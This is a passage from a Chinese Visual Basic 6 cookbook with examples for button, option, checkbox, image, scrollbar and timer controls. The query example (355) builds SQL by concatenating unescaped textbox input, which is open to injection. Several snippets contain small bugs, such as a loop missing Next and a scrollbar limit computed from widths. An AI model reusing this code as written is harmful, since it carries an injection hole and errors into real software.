在程序运行时，如果用AddItem方法向列表中的某一确定位置添加元素可能违反排序顺序，后面项目的添加可能不会是正确的排序。


 11.3　按钮选择类控件



 实例347　设置按钮支持Enter键和Esc键

光盘位置：光盘\MR\11\347

初级

趣味指数：[image: ]




实例说明

设置按钮响应键盘操作可以方便程序的使用。大家通常习惯使用Enter键执行确定操作，使用Esc键执行退出操作。本实例演示如何设置按钮支持Enter键和Esc键，程序的运行效果如图11.35所示。

[image: ]
图11.35　为按钮设置键盘响应



关键技术

本实例通过设置CommandButton控件的Cancel和Default属性来实现按钮对Esc键和Enter键的响应。

Cancel属性返回或设置一个值，用来指示窗体中命令按钮是否为取消按钮，语法如下：



object.Cancel [= boolean]




参数说明

❶object：对象表达式。

❷boolean：布尔表达式，指定对象是否为取消按钮。


注意：
 使用Cancel属性使得用户可以取消未提交的改变，并把窗体恢复到先前状态。窗体中只能有一个CommandButton控件为取消按钮。当一个CommandButton控件的Cancel属性被设置为True，窗体中其他CommandButton控件的Cancel属性自动地被设置为False。当一个CommandButton控件的Cancel属性设置为True而且该窗体是活动窗体时，用户可以通过单击它，按Esc键，或者在该按钮获得焦点时按Enter键来选择它。如果窗体支持不可恢复操作，如删除操作，一个好主意是将取消按钮设置为默认按钮。为此，将Cancel属性和Default属性都设置为True。

Default属性返回或设置一个值，以确定哪一个CommandButton控件是窗体的默认命令按钮，语法如下：



object.Default [= boolean]




参数说明

❶object：对象表达式。

❷boolean：布尔表达式，指定该命令按钮是否为默认按钮，“设置值”中有详细描述。


注意：
 窗体中只能有一个命令按钮可以为默认命令按钮。当某个命令按钮的Default设置为True时，窗体中其他的命令按钮自动设置为False。当命令按钮的Default设置为True而且其父窗体是活动的，用户可以按Enter键选择该按钮（激活其单击事件）。任何其他有焦点的控件都不接受Enter键的键盘事件（KeyDown，KeyPress或KeyUp），除非用户将焦点移到同一窗体的另外一个命令按钮上。在这种情况下，按Enter键选择有焦点的命令按钮而不是默认命令按钮。

设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加一个TextBox控件。

（3）在窗体上添加两个CommandButton控件，设置Caption属性为“确定”和“退出”，设置“确定”按钮的Default属性值为True，设置“退出”按钮的Cancel属性值为True。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Unload Me
    Form2.Show
End Sub
 
Private Sub Command2_Click()
    If MsgBox("真的要退出该窗体吗？", vbQuestion + vbYesNo, "系统提示") = vbYes Then
        End
    End If
End Sub




秘笈心法

心法领悟347：Cancel和Default属性设置默认键与取消键。

使用Cancel和Default属性能够为按钮设置默认的键盘响应，按Esc和Enter键，就会执行按钮的单击事件，并且一个窗体中只能设置一个默认键与取消键。



 实例348　为按钮动态加载图片

光盘位置：光盘\MR\11\348

中级

趣味指数：[image: ]




实例说明

通过为按钮控件动态加载图片可以设计人性化的程序界面。本实例实现在程序运行时为按钮动态加载图片，当对按钮进行不同的操作时，按钮显示不同的图片，程序的运行效果如图11.36所示。

[image: ]
图11.36　为按钮动态加载图片



关键技术

通过设置CommandButton控件的Picture、DownPicture、DisabledPicture属性，可以实现人性化的按钮效果。按钮正常状态下显示图片1，按下状态显示图片2，不可用状态显示图片3，如图11.36所示。此时，CommandButton控件Style属性必须设置为1（图形），否则以上属性将被忽略。

下面介绍Picture、DownPicture、DisabledPicture属性。


	Picture：返回或设置控件中要显示的图片。

	DownPicture：返回或设置一个对图片的引用，该图片在控件被单击并处于压下状态时显示在控件中。

	DisabledPicture：指定一个图片对象在CommandButton控件无效时显示。如果与图片一起使用标题，那么图片将位于标题上面的中央处。如果图片对象太大而与控件不相适合，那么将被裁剪一部分。如果没有图片赋值给DisabledPicture属性，而有一个图片赋值给Picture属性，那么在控件无效时将显示该图片的灰色形式。



设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加一个TextBox控件。

（3）在窗体上添加一个CommandButton控件，设置Caption属性为“登记”，设置Style属性值为 1-Graphical。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Command1.Enabled = False
End Sub
 
Private Sub Form_Load()
   '加载图标
    Command1.Picture = LoadPicture(App.Path & "\登记1.bmp")
    Command1.DisabledPicture = LoadPicture(App.Path & "\登记3.bmp")
    Command1.DownPicture = LoadPicture(App.Path & "\登记2.bmp")
End Sub




秘笈心法

心法领悟348：设置命令按钮的Style属性显示图像。

Style属性用于返回或设置一个值，该值用来指示控件的显示类型和行为。在运行时是只读的。

当Style属性设置值为0时，其CommandButton控件上不能显示装载的相关图形；当Style属性设置值为1时，其CommandButton控件上能显示装载的相关图形。



 实例349　动态添加按钮及其响应事件

光盘位置：光盘\MR\11\349

初级

趣味指数：[image: ]




实例说明

在程序运行时可以动态地添加一个按钮，但是如何为动态添加的按钮添加响应事件呢？本实例介绍如何动态添加按钮和为动态添加的按钮添加响应事件，程序的运行效果如图11.37所示。

[image: ]
图11.37　动态添加按钮及其响应事件



关键技术

本实例使用WithEvents关键字创建一个新的按钮对象变量，再使用Control集合的Add方法添加一个按钮到窗体中。WithEvents关键字声明对象变量，并用它使应用程序响应该对象的事件。

设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加两个CommandButton控件，设置Caption属性为“添加按钮”和“删除新增按钮”。

（3）主要程序代码如下：



'通过使用WithEvents关键字声明一个对象变量为新的命令按钮
Private WithEvents NewButton As CommandButton
Private Sub Command1_Click()              '增加一个按钮控件
    If NewButton Is Nothing Then
        Set NewButton = Controls.Add("VB.CommandButton", "cmdNew1", Me)
        NewButton.Move Command1.Left + Command1.Width + 200, Command1.Top
        NewButton.Caption = "设置command2不可用"
        NewButton.Width = Command1.Width + 50
        NewButton.Visible = True
    End If
End Sub
Private Sub Command2_Click()              '移除新添加的按钮控件
    If NewButton Is Nothing Then
    Else
        Controls.Remove NewButton
        Set NewButton = Nothing
    End If
End Sub
Private Sub NewButton_Click()           '添加新按钮的响应事件
    Command2.Enabled = False
End Sub




秘笈心法

心法领悟349：WithEvents声明对象变量。

使用WithEvents声明对象变量后，Visual Basic把对象变量名加到代码窗口的“对象”框。当选择变量名时，Visual Basic在“过程”列表框中显示对象的事件过程。



 实例350　利用按钮数组控件简化编程

光盘位置：光盘\MR\11\350

初级

趣味指数：[image: ]




实例说明

有时在应用程序的窗体上会包含多个按钮控件，而这些按钮又不能使用一个工具栏控件来显示，这时如果将这些按钮设置成为数组的形式，在进行代码设计时就会大大简化编程，本实例实现将按钮设置为数组形式，并实现其相应的功能，程序的运行效果如图11.38所示。

[image: ]
图11.38　利用按钮数组控件简化编程



关键技术

使用控件数组的Index属性区分数组中的各个元素。本程序中控件数组是名为Command1的按钮控件，要执行控件的单击事件，使用Inedex来区分是单击了数组中的哪个按钮，然后再添加事件代码执行相应操作。同时本实例还创建了一个自定义函数，此自定义函数实现设置按钮控件数组的按钮状态，在执行设置按钮状态功能时，调用此函数，避免了冗余代码，更加简化了编程。

设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加CommandButton控件数组（Command1(0)～Command1(3)）。

（3）主要程序代码如下：



Function Comenabled(isenabled As Boolean)
    If isenabled = True Then
        For i = 0 To Command1.Count - 1
            Command1(i).Enabled = True
        Next i
    Else
        For i = 0 To Command1.Count - 1
            Command1(i).Enabled = False
        Next i
    End If
End Function
Private Sub Command1_Click(Index As Integer)
    Select Case Index
    Case 0  '按钮不可用
        Comenabled (False)
        Command1(3).Enabled = True
    Case 3  '按钮可用
        Comenabled (True)
    End Select
End Sub




秘笈心法

心法领悟350：利用Option控件实现开关按钮效果。

在开发一些控制程序时，有时需要执行一项操作，并且此操作状态要一直保持开关状态。利用按钮控件实现较麻烦，使用Option控件可以轻松实现这一效果。修改Option控件的Style属性为1，然后只需对单击事件编程即可实现开关按钮效果，并且这些按钮支持向上、向下方向键。



 实例351　制作粘性按钮

光盘位置：光盘\MR\11\351

中级

趣味指数：[image: ]




实例说明

粘性按钮是按下不会自动弹起的按钮，在VB中并没有提供粘性按钮，需要通过采用代码的方式对现有的CommandButton控件进行“改造”来创建粘性按钮，程序的运行效果如图11.39所示。

[image: ]
图11.39　创建粘性按钮



关键技术

使用API函数SendMessage实现创建粘性按钮，SendMessage函数向命令按钮发送BM_SETSTATE消息。

BM_SETSTATE消息：发送该消息可以改变按钮的突出状态。

设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加两个CommandButton控件。

（3）主要程序代码如下：



Private Sub Command1_Click()
    Static b As Boolean
    b = Not b
    Call SendMessage(Command1.hwnd, BM_SETSTATE, b, ByVal 0&)
End Sub




秘笈心法

心法领悟351：参数b的作用。

在上面代码中的变量b为Boolean类型的变量，用来指定按钮的状态。当变量b的值为True，表明按钮呈凹陷状态；如果值为False，表明恢复按钮初始状态。



 实例352　制作赛跑小游戏

光盘位置：光盘\MR\11\352

中级

趣味指数：[image: ]




实例说明

本实例使用OptionButton控件制作一个赛跑小游戏。运行程序，选择一个自己认为能赢的选项，单击“开始”按钮，如果猜中了加分；如果猜错则减分。赌注花没了，则不能继续进行游戏，程序的运行效果如图11.40所示。

[image: ]
图11.40　赛跑小游戏



关键技术

使用OptionButton控件数组实现游戏选项的设置，将4个游戏选手分别设置对应的单选按钮，也就是OptionButton控件。将这些单选按钮设置为控件数组的形式。添加Image控件数组，分别对应放在OptionButton控件数组之后，开始游戏后，随机向前移动这些Image控件，先到达右侧竖直放置的Line控件的为赢家。

设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加OptionButton控件数组（Option1(0)～Option1(3)）。

（3）使用Line控件在窗体上将各个选手分开。在每个OptionButton控件后添加一个Image控件，并为其添加一幅图片。Image控件也设置为数组的形式。

（4）在窗体上添加两个命令按钮和两个标签控件。

（5）主要程序代码如下：



Private Sub Command1_Click()
    For i = 0 To 3
        If Option1(i).Value = True Then
            Exit For
        Else
            If i = 3 Then Exit Sub
        End If
    Next i
    money = money - 20: Label2.Caption = money: Command1.Enabled = False
    Do
        no = Int(Rnd * 4)                                    '随机选择选手
        wit = Int(Rnd * 21) + 23                                '随机移动位置
        Image1(no).Move Image1(no).Left + wit, Image1(no).Top            '移动选手位置
        pause (0.03)
    Loop Until Image1(no).Left + Image1(no).Width > finish                '到达终点
    If Option1(no).Value = True Then
        MsgBox Option1(no).Caption + "赢了！"
        money = money + 60: Label2.Caption = money
    Else
        MsgBox "你输了！"
    End If
    If money = 0 Then
        MsgBox "你已经没赌注了！"
    Else
        Command1.Enabled = True
    End If
    For i = 0 To 3
        Option1(i).Value = False: Image1(i).Left = start
    Next i
 
End Sub




秘笈心法

心法领悟352：OptionButton控件互不关联。

OptionButton控件显示一个可以打开或者关闭的选项。在选项组中用OptionButton显示选项，用户只能选择其中的一项。为实现两组Option控件互不关联，可以将两组Option控件分别放在不同容器中，如Frame控件、PictureBox控件，同一容器中的OptionButton控件为一个组。



 实例353　利用选择控件设置操作权限

光盘位置：光盘\MR\11\353

初级

趣味指数：[image: ]




实例说明

为了数据的安全，一般的管理软件都会添加权限设置功能，限制用户的使用权限。本实例演示如何使用选择控件设置操作员的权限，程序的运行效果如图11.41所示。

[image: ]
图11.41　设置操作员权限



关键技术

本实例中使用了CheckBox控件来实现权限设置。将CheckBox控件的Value属性赋给菜单的Enabled属性。CheckBox控件常被用来处理True和False状态间的切换，选择该控件将显示√，而清除CheckBox控件后，√消失。该控件可以用来提供True/False或者Yes/No选项。下面介绍CheckBox控件的Value属性。

CheckBox控件的Value属性用于返回或设置控件的状态，语法如下：



object.Value [= value]




参数说明

❶object：对象表达式。

❷value：该值指定控件的状态。

Value设置值：0为没有检查（默认值），1为已检查，2为变灰（变暗）。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）打开“菜单编辑器”，设置如图11.41所示菜单。

（3）在Form1窗体上添加一个Frame控件。

（4）在Frame1控件上添加一个ListView控件，默认“名称”属性为ListView1。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（5）在Frame1控件上添加一个Frame控件。

（6）在Frame2控件上添加一个CheckBox控件数组（Check1(0)～Check1(4)），设置其Caption属性分别为“基础信息设置”、“计划信息设置”、“生产设备管理”、“生产入库管理”和“系统维护”，Value属性都设置为1-Checked。

（7）主要程序代码如下：



Private Sub Check1_Click(Index As Integer)
    For i = 0 To Check1.UBound
        Form1.Menu(i).Enabled = Check1(i).Value
    Next i
End Sub
 
Private Sub Form_Load()
    ListView1.ListItems.Clear
    Set Item = ListView1.ListItems.Add(, , "李凉", 2)
    For i = 0 To Check1.UBound
        Form1.Menu(i).Enabled = Check1(i).Value
    Next i
End Sub




秘笈心法

心法领悟353：使用复选框的Value属性返回值设置控件的状态。

复选框的Value属性同样是用来返回值设置控件的状态。只是复选框的Value值包含3个：0、1和2。当Value属性值为0时，表示控件没有被选中；当值为1时，表示已选中；当值为2时，表示控件变灰，此时控件禁止使用。



 实例354　字体设置

光盘位置：光盘\MR\11\354

初级

趣味指数：[image: ]




实例说明

本实例实现使用选择类控件设置文本的字体的功能。可以对文本进行字体、效果、颜色和字体大小等设置。运行程序后，在相应的区域内进行选择，即可立即改变字体样式，程序的运行效果如图11.42所示。

[image: ]
图11.42　设置文本字体



关键技术

本实例使用选择类控件实现对文本字体的设置，通过单选按钮和复选框，实现对字体、字体效果和颜色等的设置。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在窗体上添加5个Frame控件，用作其他控件的容器，按照图11.42所示对这些Frame控件布局和设置Caption属性。

（3）在Frame控件上添加一个文本框，用于显示字体设置效果。

（4）在其他Frame控件上分别添加单选按钮数组、单选按钮和复选框等，并分别设置Caption属性。

（5）添加一个组合框。

（6）添加两个命令按钮。

（7）主要程序代码如下：



Private Sub Option1_Click(Index As Integer)                    '设置字体
    For i = 0 To 2                                              '循环语句
        If Option1(i).Value = True Then                             '判断如果单选按钮Value值为True
            Text1.FontName = Option1(i).Caption                     '文本框的字体名称为单选按钮的标题
        End If
 
End Sub
 
Private Sub Option2_Click()
    '紫底红字
    Text1.ForeColor = RGB(255, 0, 0)
    Text1.BackColor = &HFFC0C0
End Sub
Private Sub Option3_Click()
    '黄底蓝字
    Text1.ForeColor = RGB(0, 0, 255)
    Text1.BackColor = RGB(255, 255, 0)
End Sub
 
Private Sub Option4_Click()
    '白底黑字
    Text1.ForeColor = RGB(0, 0, 0)
    Text1.BackColor = RGB(255, 255, 255)
End Sub
Private Sub Check1_Click()                                '粗体
    Text1.FontBold = Check1.Value
End Sub
Private Sub Check2_Click()                                '斜体
    Text1.FontItalic = Check2.Value
End Sub
Private Sub Check3_Click()                                '下划线
    Text1.FontUnderline = Check3.Value
End Sub




秘笈心法

心法领悟354：框架的使用。

窗体上的控件是不能被拖动到框架中的，必须将控件直接从工具箱添加或是粘贴到框架中。框架中的控件会随着框架的移动而移动。当框架不够大时，框架边框以外的部分将被覆盖。



 实例355　利用选择控件实现复杂查询

光盘位置：光盘\MR\11\355

中级

趣味指数：[image: ]




实例说明

在应用程序中，往往包含复杂的需要根据多种条件进行的查询，这时就需要使用多选按钮。本实例实现利用多选按钮进行复杂查询。程序运行后，选中要进行查询的条件，然后输入条件的内容。单击“查询”按钮，即可将查询的信息显示在下面的列表中，程序的运行效果如图11.43所示。

[image: ]
图11.43　实现复杂查询



关键技术

本实例主要应用了CheckBox控件的Value属性，实现多条件复杂查询。下面介绍本实例的设计思路。本实例的实现是利用CheckBox控件的Value属性控制其相关的TextBox控件的Enabled属性。以姓名为例，如果选中姓名复选框则将姓名查询的语句赋给变量sname，其代码如下：



sname = "姓名 like '" & txtName & "%'"




如果未选中姓名复选框，则将查询全部姓名的变量赋给sname，其代码如下：



sname = "姓名 like '%'"




其他选项的实现方法相同，最后将各变量赋给sql变量，并执行查询语句，其代码如下：



sql = "select * from 驾驶员档案 where " & sname & "and " & ssex & "and " & sborn & "and " & sjl & "and " & syx




设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加两个Frame控件。在Frame1控件上添加5个CheckBox控件，设置其Caption属性分别为“姓名”、“性别”、“出生年月”、“驾龄”和“证件有效期”；添加3个DTPicker控件，设置其Enabled属性为False。DTPicker控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Windows Common Controls-2 6.0复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（3）在Frame1控件上再添加两个Label控件，设置其Caption属性分别为“从”和“到”；添加两个CommandButton控件，设置其Caption属性分别为“查询”和“退出”；添加一个ComboBox控件和两个TextBox控件。

（4）在Frame2控件上添加一个DataGrid控件和一个ADO控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）和Microsoft DataGrid Control 6.0（SP5）复选框，然后单击“确定”按钮。此时，ADO控件和DataGrid控件将添加到工具箱中。

（5）主要程序代码如下：



    If ckBorn.Value Then
        sborn = "出生年月 between #" & dtStart.Month & "/" & dtStart.Day & "/" & dtStart.Year & "# and #" & dtEnd.Month & "/" & dtEnd.Day & "/" & dtEnd.Year & "#"
    Else
        sborn = "出生年月 like '%'"
    End If
 
    Dim sjl As String
    If ckJL.Value Then
        sjl = "驾龄 ='" & txtJL & "'"
    Else
        sjl = "驾龄 like '%'"
    End If
 
    Dim syx As String
    If ckYX.Value Then
        aa = "证件有效期 =" + Chr(35) + Str(DTyx.Value) + Chr(35)
        syx = aa
    Else
        syx = "证件有效期 like '%'"
    End If
    sql = "select * from驾驶员档案where " & sname & "and " & ssex & "and " & sborn & "and " & sjl & "and " & syx
    If sql = "select * from驾驶员档案where姓名like '%'and 性别like '%'and 出生年月like '%'and驾龄like '%'and证件有效期like '%'" Then
        '清空上一次的查询记录
        Call QingKong
        MsgBox "请选择查询条件", , "车辆管理系统"
        Exit Sub
    Else
        Call main
        Set adors = adoCon.Execute(sql)
        If adors.EOF Then
            Call QingKong
            MsgBox "对不起，没有符合该查询条件的驾驶员档案信息！", , "车辆管理系统"
        Else
            Adodc1.RecordSource = sql
            Adodc1.Refresh
            Set DataGrid1.DataSource = Adodc1
        End If
    End If




秘笈心法

心法领悟355：使用方向键在CheckBox控件组中移动焦点。

使用键盘的方向键可以在CheckBox控件组中方便地移动焦点，利用该特点可以在焦点移动时实现一定的效果。


 11.4　图形图像控件应用



 实例356　随鼠标移动的图形

光盘位置：光盘\MR\11\356

初级

趣味指数：[image: ]




实例说明

对于大幅图片，一般的窗体难以全部显示，这就要添加滚动条，或者使用鼠标拖拽图片，将覆盖的图像显示出来。本实例实现使用鼠标控制图像的显示，将鼠标从左边框划过，则图像向右移动；反之向左移动；图像也可以上下移动。如果在图像上按住鼠标拖拽，也可以移动图像，程序的运行效果如图11.44所示。

[image: ]
图11.44　随鼠标移动的图形



关键技术

向窗体添加Picture控件作为容器，在Picture控件中添加一个Image控件，该控件添加一个大一些（大于Picture控件可以直观看到效果）的图形，地图更好。在Image控件的MouseDown事件中添加代码实现鼠标拖拽控件的移动。本实例中运用了API函数中的GetCursorPos函数来获得鼠标指针的当前位置，在一定的范围内只要鼠标移动，图形便跟着移动。


说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个PictureBox控件。

（3）在Picture1控件上添加一个Image控件，设置Image控件的Picture属性；添加一个Timer控件。

（4）主要程序代码如下：



Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
  X As Long
  Y As Long
End Type
 
Dim DragX As Single
Dim DragY As Single
Const Img_Tag = 5
 
Private Sub Form_Load()
    Image1.Top = Picture1.ScaleTop                                '图像控件上边距
    Image1.Left = Picture1.ScaleLeft                                '图像控件左边距
End Sub
Private Sub Image1_DragDrop(Source As Control, X As Single, Y As Single)        '拖动图像
    Image1.Top = Y - DragY + Image1.Top
    Image1.Left = X - DragX + Image1.Left
End Sub
 
Private Sub Image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    DragX = X
    DragY = Y
    Image1.Drag 1
    Image1.MousePointer = Img_Tag
End Sub
 
Private Sub Timer1_Timer()
    Dim n As POINTAPI
    GetCursorPos n
    If n.X - Me.Left / 15 - 3 < 0 And Image1.Left < 0 Then                       '向右移
        Image1.Left = Image1.Left + 100
    End If
    If n.Y - Me.Top / 15 - 3 < 0 And Image1.Top < 0 Then                       '向下移
        Image1.Top = Image1.Top + 100
    End If
    If n.X - Me.Left / 15 - Me.Width / 15 > -10 And Image1.Left > -5400 Then          '向左移
        Image1.Left = Image1.Left - 100
    End If
    If n.Y - Me.Top / 15 - Me.Height / 15 > -10 And Image1.Top > -3615 Then          '向上移
        Image1.Top = Image1.Top - 100
    End If
End Sub




秘笈心法

心法领悟356：清除图像。

使用LoadPicture函数加载一个空字符串即可将图像框中的图像清除。程序代码如下：



Picture1.Picture = LoadPicture("")




也可以手工清除，把鼠标移到Picture控件的Picture属性值输入处，按Delete键。



 实例357　在图片上放置文字

光盘位置：光盘\MR\11\357

初级

趣味指数：[image: ]




实例说明

在显示一幅图片时，有时要在图片上放置一些文字来作为图片的描述说明。本实例演示如何在图片上放置文字。运行本程序，单击“请欣赏图片”按钮，将在图像上显示“请欣赏图片！”的文字，单击“清除文字”按钮，则图像上的文字清除，程序的运行效果如图11.45所示。

[image: ]
图11.45　在图片上放置文字



关键技术

本实例使用图像框的Print方法实现在图像上添加文字，使用Cls方法实现将Print方法绘制到图像上的文字清除。使用图像框的FontName、FontSize和FontColor等属性设置图像框的文字样式。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个PictureBox控件。

（3）在窗体上添加两个CommandButton控件，用作命令按钮，分别设置这两个控件的Caption属性为 “请欣赏图片”和“清除文字”。

（4）主要程序代码如下：



Private Sub Form_Load()
    Picture1.Picture = LoadPicture(App.Path & "\back.bmp")         '载入图片
End Sub
Private Sub Command1_Click()                                '放置文字
    Picture1.FontName = "隶书"                        '设置字体
    Picture1.FontSize = "30"                        '设置字号
    Picture1.ForeColor = vbRed                        '设置文字颜色
    Picture1.Print "    请欣赏图片！"                    '设置要放置的文字
End Sub
Private Sub Command2_Click()                                '清除文字
    Picture1.Cls
End Sub




秘笈心法

心法领悟357：图形方法的限制条件。

用图形方法创建图形是在代码中进行的，这就意味着必须运行应用程序才能看到图形方法的结果。因而，对于创建界面的简单设计元素来说，图形方法就不能代替图形控件的作用。设计时改变图形控件的外观，比修改并测试图形方法的代码容易。


 11.5　滚动条控件



 实例358　使用滚动条改变窗体颜色

光盘位置：光盘\MR\11\358

初级

趣味指数：[image: ]




实例说明

拖动滚动条的滚动框可以改变滚动条的值，本实例实现根据滚动条的值来改变窗体的背景色，程序的运行效果如图11.46所示。

[image: ]
图11.46　使用滚动条改变窗体颜色



关键技术

本实例在滚动条的Change事件中利用滚动条的Value属性实现设置窗体的背景色。改变滚动条的Value值即可触发滚动条的Change事件。

滚动条的Value属性（默认值为0）是一个整数，它对应于滚动框在滚动条中的位置。当滚动框位置在最小值时，它将移动到滚动条的最左端位置（水平滚动条）或顶端位置（垂直滚动条）。当滚动框在最大值时，它将移动到滚动条的最右端或底端位置。同样，滚动框取中间数值时将位于滚动条的中间位置。

除了可用鼠标单击改变滚动条数值外，也可将滚动框沿滚动条拖动到任意位置。结果取决于滚动框的位置，但总是在用户所设置的Min和Max属性之间。


注意：
 如果希望滚动条显示的信息从较大数值向较小数值变化，可将Min设置成大于Max的值。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个水平滚动条控件，设置其Max属性值为255。

（3）主要程序代码如下：



Private Sub HScroll1_Change()
    Me.BackColor = RGB(255 - HScroll1.Value, HScroll1.Value, 100)
End Sub




秘笈心法

心法领悟358：Scroll事件中应避免使用MsgBox语句或函数。

Scroll事件中应避免使用MsgBox语句或函数，因为Scroll事件有时会导致一个层叠事件。由事件过程直接或间接调用它自身所引起的一系列事件，也称为事件的层叠或递归。



 实例359　使用鼠标移动滚动条

光盘位置：光盘\MR\11\359

初级

趣味指数：[image: ]




实例说明

使用鼠标拖动滚动条的滚动框或者单击滚动条两端的箭头按钮，都可以移动滚动条。本实例实现使用鼠标移动来移动滚动条的滚动框。程序运行后，在图像上移动鼠标，滚动条滚动框将根据鼠标的移动而滑动，从而使图像滚动，程序的运行效果如图11.47所示。

[image: ]
图11.47　使用鼠标移动滚动条



关键技术

通过图片的MouseMove事件，获得鼠标在图片的位置，从而改变滚动条的位置。通过滚动条的Change事件使图片滚动。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个Image控件，并设置其Picture属性，为其设置一幅图片。

（3）在窗体上添加一个水平滚动条和一个竖直滚动条，设置它们的Max属性值为5000，LargeChange属性和SmallChange属性值都为10。

（4）主要程序代码如下：



Private Sub image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Y > Image1.Top And Y < Image1.Top + Image1.Height And VScroll1.Value < VScroll1.Max Then
        VScroll1.Value = Abs(Y - Image1.Top) / 4
    End If
    If X > Image1.Left And Y < Image1.Left + Image1.Width Then
        HScroll1.Value = (X - Image1.Left) / 3.3    '滚动条值
    End If
End Sub
 
Private Sub hScroll1_Change()                   '水平滚动条
    Image1.Left = -HScroll1.Value
End Sub
Private Sub VScroll1_Change()                  '垂直滚动条
    Image1.Top = -VScroll1.Value
End Sub




秘笈心法

心法领悟359：Change事件更容易被触发。

在Scroll事件中拖动滚动条或滚动条箭头时，将触发Change事件，因此常利用Change事件来获得滚动条变化后的最终值。



 实例360　浏览大幅图片

光盘位置：光盘\MR\11\360

初级

趣味指数：[image: ]




实例说明

当前数码相机的分辨率都很高，照出的图片都很大，很难在一个窗体中完全显示出来。本实例实现为图像框控件添加滚动条，实现浏览大幅图片的功能，程序的运行效果如图11.48所示。

[image: ]
图11.48　浏览大幅图片



关键技术

本实例通过为图像框添加滚动条实现对图像的滚动显示。在PictureBox控件中添加一个Image控件，设置Image控件的Stretch属性为False，这样Image控件会随着图像的大小进行改变。在移动滚动条滑块时，根据滚动条的值使Image控件的坐标相应地改变，从而实现图片的滚动。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加文件操作控件。

（3）在工程中添加一个新窗体，在窗体上添加一个PictureBox控件，在PictureBox控件上添加一个Image控件，设置Image控件的Stretch属性为False。

（4）主要程序代码如下：



Private Sub Form_Load()
    Dim p As String
    p = Form1.File1.Path & "\" & Form1.File1.FileName
    Image1.Picture = LoadPicture(p)
    VScroll1.Min = 0
    VScroll1.Max = Image1.Height - Picture1.Height
    HScroll1.Min = 0
    HScroll1.Max = Image1.Width - Picture1.Width
End Sub
 
Private Sub HScroll1_Change()
    Image1.Left = -HScroll1.Value
End Sub
 
Private Sub HScroll1_Scroll()
    Image1.Left = -HScroll1.Value
End Sub
 
Private Sub VScroll1_Change()
    Image1.Top = -VScroll1.Value
End Sub
 
Private Sub VScroll1_Scroll()
    Image1.Top = -VScroll1.Value
End Sub




秘笈心法

心法领悟360：Change事件中应避免使用MsgBox语句或函数。

一个Change事件有时会导致一个层叠事件。这种情况在Change事件改变滚动条控件的内容时会发生，为了避免层叠事件，就要避免在滚动条控件的Change事件中使用MsgBox语句或函数。



 实例361　实现窗体滚动

光盘位置：光盘\MR\11\361

初级

趣味指数：[image: ]




实例说明

在使用窗体设计程序时，如果添加的控件超过了窗体可以放置的边界是无法进行正常操作的。本实例模拟一个大窗体实现对窗体的滚动效果，程序的运行效果如图11.49所示。

[image: ]
图11.49　实现窗体滚动



关键技术

利用Frame控件布满窗体，将窗体上的所有控件放到Frame控件上，这样，窗体作为容器，Frame控件作为虚拟窗体，就可以实现窗体的滚动。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在窗体上添加一个Frame控件，设置Caption属性为空。

（3）在Frame控件上添加标签控件、命令按钮和图像框等控件。

（4）在窗体上添加一个水平滚动条和一个竖直滚动条。

（5）主要程序代码如下：



Private Sub Form_Load()
    HScroll1.Value = 0
    HScroll1.Max = Frame1.Width - Me.Width
    HScroll1.SmallChange = Frame1.Width \ 10
    HScroll1.LargeChange = Frame1.Width \ 5
    VScroll1.Value = 0
    VScroll1.Max = Frame1.Width - Me.Width
    VScroll1.SmallChange = Frame1.Width \ 10
    VScroll1.LargeChange = Frame1.Width \ 5
End Sub
Private Sub VScroll1_Change()
   Frame1.Top = -VScroll1.Value
End Sub
Private Sub hScroll1_Change()
   Frame1.Left = -HScroll1.Value
End Sub




秘笈心法

心法领悟361：滚动条最大值和最小值的设置。

如果Max被设为比Min小的值，那么最大值将被分别设为水平或垂直滚动条的最左或最上位置处。ProgressBar控件的Max属性值必须总是比其Min属性值大一些，并且其Min属性值必须总是大于或等于0。


 11.6　时钟控件



 实例362　制作倒计时程序

光盘位置：光盘\MR\11\362

初级

趣味指数：[image: ]




实例说明

想必大家在平时使用应用软件时经常会遇见带有倒计时功能的对话框，对话框在倒计时完毕后自动关闭并执行相应的操作。如图11.50所示，在弹出的对话框中进行倒计时。倒计时结束后自动打开一个窗体。

[image: ]
图11.50　倒计时程序



关键技术

制作倒计时对话框的思路如下：

